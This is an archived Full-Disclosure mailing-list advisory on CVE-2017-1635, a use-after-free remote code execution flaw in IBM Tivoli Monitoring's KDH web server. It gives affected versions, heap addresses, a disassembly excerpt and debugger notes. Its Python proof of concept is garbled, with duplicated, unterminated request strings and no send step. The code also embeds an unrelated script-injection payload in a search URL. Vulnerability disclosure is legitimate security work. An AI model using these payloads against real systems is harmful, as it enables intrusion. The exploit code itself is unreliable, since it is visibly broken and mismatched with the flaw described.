lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite for Android: free password hash cracker in your pocket
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 6 Feb 2018 12:11:52 +0100
Subject: [FD] IBM Tivoli Monitoring CVE-2017-1635 Remote Code Execution

IBM Tivoli Monitoring CVE-2017-1635 Remote Code Execution Vulnerability

CVEID: CVE-2017-1635
CVSS Base Score: 8
Affected Products and Versions
The KDH component of IBM Tivoli Monitoring Basic Services (KGL,KAX) for
Version 6.2.2 through 6.2.2 Fix Pack 9

A vulnerability exists in the internal web server provided by IBM Tivoli
Monitoring basic services. It could allow a remote attacker to execute
arbitrary code on the system, caused by a use-after-free error. A remote
attacker could exploit this vulnerability to execute arbitrary code on
the system or cause the application to crash.
The web server component "KDH", after receiving certain requests,
executes a memory region in the heap previously freed by the component
An attacker is able to fill the heap before the memory is reused, in
order to execute arbitrary code.

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

payload = 'GET

payload = 'GET
/index.php?action=search&searchFor=\"><script>alert()</script >
print s.recv(1024)

0x6191BCF8 - malloc in BSS1_NewFormat
0x61903fea - free in BSS1_EndFormat
0x6191BDEF - call to ecx+4

At first, malloc() is called to allocate space (0x400) where application
will put response page to the faulty request; then free() is called on
the same address used in the “call [ecx+4]” later on.

The disassembly code involved is:
kbb.dll:61903FD7                 mov     eax, [edx]
kbb.dll:61903FD9                 push    eax
kbb.dll:61903FDA                 mov     ecx, [ebp-8]
kbb.dll:61903FDD                 call    dword ptr [ecx+4] <- here is
called the address of the previously freed heap + 4

Supporting techincal details:
As shown in the WinDbg screenshot
execution is suspended at 0x004c0931, where the payload is “\xcc” -

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists